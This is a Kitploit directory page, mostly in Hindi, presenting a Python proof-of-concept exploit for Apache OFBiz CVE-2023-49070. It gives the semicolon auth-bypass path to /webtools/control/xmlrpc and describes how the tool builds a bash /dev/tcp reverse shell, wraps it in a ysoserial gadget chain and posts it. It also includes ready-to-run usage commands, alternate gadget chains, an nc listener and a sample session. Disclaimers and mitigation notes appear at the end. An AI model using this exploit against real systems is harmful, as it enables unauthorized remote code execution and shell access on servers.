Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-49070 — Apache OFBiz CVE-2023-49070 के लिए Python PoC: /webtools/control/xmlrpc पर auth-bypass तथा pre-auth deserialization RCE प्राप्त करने के लिए ysoserial gadget chain। | Kitploit
उपकरण/GitHubGitHub/bardlaudian/cve-2023-49070
रक्षात्मक उपकरणपेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंग
GitHubbardlaudian/cve-2023-49070

CVE-2023-49070

Apache OFBiz CVE-2023-49070 के लिए Python PoC: /webtools/control/xmlrpc पर auth-bypass तथा pre-auth deserialization RCE प्राप्त करने के लिए ysoserial gadget chain।

111घं 37मि पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
रिपॉजिटरी देखें
वेबसाइट
साझा करें

ofbiz-xmlrpc-rce (CVE-2023-49070)

Apache OFBiz XML-RPC प्री-ऑथ डीसेरियलाइज़ेशन RCE के लिए PoC, जिसे CVE-2023-49070 के रूप में ट्रैक किया गया है: एक ऑथेंटिकेशन-बायपास पथ लेगेसी /webtools/control/xmlrpc एंडपॉइंट को अनलॉक करता है, जो XML-RPC <serializable> पैरामीटर के अंदर तस्करी किए गए हमलावर-नियंत्रित Java ऑब्जेक्ट को डीसेरियलाइज़ करता है।

⚠️ केवल अधिकृत सुरक्षा परीक्षण के लिए। इसे केवल उन सिस्टमों के विरुद्ध चलाएँ जिनके आप मालिक हैं या जिनका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है (CTF/लैब वातावरण, हस्ताक्षरित स्कोप वाले एंगेजमेंट, आदि)। अधिकांश क्षेत्राधिकारों में कंप्यूटर सिस्टमों तक अनधिकृत पहुँच अवैध है।

भेद्यता

Apache OFBiz का view-map ऑथेंटिकेशन सामान्य रूप से /webtools/control/xmlrpc की सुरक्षा करता है। प्रभावित संस्करणों (< 18.12.10) को पथ में सेमीकोलन और विशिष्ट क्वेरी पैरामीटर जोड़कर उस जाँच को छोड़ने के लिए धोखा दिया जा सकता है:

root@kitploit:~
/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y

एक बार पहुँच योग्य होने पर, एंडपॉइंट XML-RPC अनुरोध स्वीकार करता है। Apache XML-RPC का Java कार्यान्वयन एक <serializable> एक्सटेंशन प्रकार का समर्थन करता है: एलिमेंट की सामग्री को base64-डिकोड किया जाता है और सीधे ObjectInputStream.readObject() में पास किया जाता है — क्लासिक असुरक्षित Java डीसेरियलाइज़ेशन। क्लासपाथ पर उपयुक्त गैजेट चेन के साथ (यह PoC डिफ़ॉल्ट रूप से ysoserial के माध्यम से CommonsBeanutils1 का उपयोग करता है), यह सीधे OFBiz चला रहे OS उपयोगकर्ता के रूप में रिमोट कमांड निष्पादन में परिवर्तित हो जाता है।

यह पहले के OFBiz XML-RPC डीसेरियलाइज़ेशन CVE के समान बग परिवार का है (जैसे CVE-2023-51467 का ऑथ-बायपास सहोदर); OFBiz में इस एंडपॉइंट पर ऑथ-बायपास + डीसेरियलाइज़ेशन जोड़ियों का आवर्ती पैटर्न रहा है, इसलिए इस PoC पर भरोसा करने से पहले अपने लक्ष्य पर लागू होने वाली सटीक CVE/संस्करण सीमा की जाँच करें।

यह स्क्रिप्ट क्या करती है

  1. एक bash -i >& /dev/tcp/LHOST/LPORT 0>&1 रिवर्स शेल बनाती है, उसे base64-एनकोड करती है, और उसे bash -c 'echo ... | base64 -d | bash' वन-लाइनर में लपेटती है (निष्पादन श्रृंखला में आगे शेल-मेटाकैरेक्टर विकृति से बचाती है)।
  2. उस वन-लाइनर को चलाने वाली एक सीरियलाइज़्ड गैजेट चेन (CommonsBeanutils1 डिफ़ॉल्ट रूप से, कॉन्फ़िगर करने योग्य) बनाने के लिए ysoserial को कॉल करती है।
  3. गैजेट बाइट्स को base64-एनकोड करती है और उन्हें XML-RPC <serializable> पेलोड में लपेटती है।
  4. इसे TARGET/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y पर POST करती है।
  5. HTTP स्थिति की रिपोर्ट करती है और बताती है कि प्रतिक्रिया बॉडी में OFBiz का पोस्ट-डीसेरियलाइज़ेशन त्रुटि मार्कर (No such service) है या नहीं — यह संकेत है कि पेलोड संसाधित हुआ, कोड निष्पादन का प्रमाण नहीं।

यह स्क्रिप्ट क्या नहीं करती

यह पुष्टि नहीं कर सकती कि आपको शेल मिला — डीसेरियलाइज़ेशन चलने के बाद OFBiz किसी भी स्थिति में एक सामान्य त्रुटि लौटाता है (XML-RPC विधि स्वयं, Dns, वास्तविक सेवा के रूप में मौजूद नहीं है)। हमेशा अपना लिसनर चालू रखें और उसे जाँचें, केवल स्क्रिप्ट के कंसोल आउटपुट को नहीं।

आवश्यकताएँ

  • Python 3.8+, pip install requests --break-system-packages
  • Java (आपके ysoserial बिल्ड के साथ संगत कोई भी संस्करण)
  • ysoserial-all.jar — इसे स्वयं frohoff/ysoserial से बनाएँ (mvn clean package -DskipTests) या कोई रिलीज़ jar लें। यहाँ बंडल नहीं किया गया है — यह अपने स्वयं के लाइसेंस वाला एक बड़ा तृतीय-पक्ष टूल है।

उपयोग

root@kitploit:~
python3 ofbiz_xmlrpc_rce.py \
    --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 \
    --ysoserial /path/to/ysoserial-all.jar

पहले एक लिसनर शुरू करें:

root@kitploit:~
nc -lvnp 4444

सभी विकल्प

अन्य गैजेट चेन आज़माना

CommonsBeanutils1 OFBiz के लिए क्लासिक विकल्प है (यह क्लासपाथ पर commons-beanutils शिप करता है), लेकिन अगर यह काम न करे, तो OFBiz की बंडल की गई लाइब्रेरीज़ अन्य चेन का भी समर्थन करती हैं। बस --gadget बदलें:

root@kitploit:~
python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 \
    --ysoserial /path/to/ysoserial-all.jar \
    --gadget CommonsCollections6

उदाहरण सत्र

root@kitploit:~
$ python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 --ysoserial ./ysoserial-all.jar
[*] Building reverse shell one-liner for 10.10.14.1:4444 ...
[*] Building 'CommonsBeanutils1' gadget chain with ysoserial (./ysoserial-all.jar) ...
[+] Gadget chain built (2847 bytes)
[*] Sending payload to https://ofbiz.target.tld ...
[+] HTTP status: 200
[+] Response matches the expected post-deserialization error.
    This is a signal the gadget chain executed, not proof of a shell.

[*] Check your listener: nc -lvnp 4444

पहचान और शमन (रक्षात्मक नोट्स)

  • Apache OFBiz 18.12.10 या बाद के संस्करण में पैच करें (या अपनी शाखा के लिए वर्तमान पैच किया गया रिलीज़) — यह ऑथ-बायपास पथ दोनों को बंद करता है और XML-RPC एंडपॉइंट पर डीसेरियलाइज़ेशन को सख्त करता है।
  • /webtools/control/xmlrpc को अक्षम या प्रतिबंधित करें यदि आप सक्रिय रूप से XML-RPC एकीकरण का उपयोग नहीं करते हैं; सामान्य रूप से webtools कंपोनेंट एक सामान्य लक्ष्य है और मजबूत कारण के बिना इंटरनेट-फेसिंग नहीं होना चाहिए।
  • सेमीकोलन-आधारित पथ खंडों को फ़िल्टर करें WAF/रिवर्स-प्रॉक्सी परत पर गहराई में रक्षा के रूप में — OFBiz के कई ऑथ-बायपास CVE Java सर्वलेट पथ पार्सिंग के विरुद्ध इस ; ट्रिक को साझा करते हैं।
  • डीसेरियलाइज़ेशन हार्डनिंग: एक लुक-अहेड डीसेरियलाइज़ेशन फ़िल्टर (ObjectInputFilter, JEP 290 / Java 9+ से उपलब्ध) का उपयोग करें ताकि ज्ञात गैजेट-चेन क्लासेस को कभी इंस्टैंशिएट होने से रोका जा सके, चाहे डीसेरियलाइज़ेशन को कौन सा एंडपॉइंट ट्रिगर करे।
  • निगरानी रखें: <serializable> एलिमेंट वाले */control/xmlrpc* पर POST, OFBiz होस्ट से अप्रत्याशित आउटबाउंड कनेक्शन, और OFBiz चला रहे Java प्रोसेस द्वारा उत्पन्न चाइल्ड प्रोसेस।

संदर्भ

  • NVD — CVE-2023-49070
  • Apache OFBiz security advisories
  • ysoserial

लाइसेंस

MIT — देखें LICENSE।

टूल डाउनलोड करें
FlagDefaultDescription
--target(required)Target base URL, e.g. https://ofbiz.target.tld
--lhost(required)Your listener IP
--lport(required)Your listener port
--ysoserialysoserial-all.jarPath to the ysoserial jar
--gadgetCommonsBeanutils1ysoserial gadget chain to use
--java-binjavaJava binary to invoke
--timeout15HTTP request timeout (seconds)
--proxy(none)Optional HTTP(S) proxy, e.g. for routing through Burp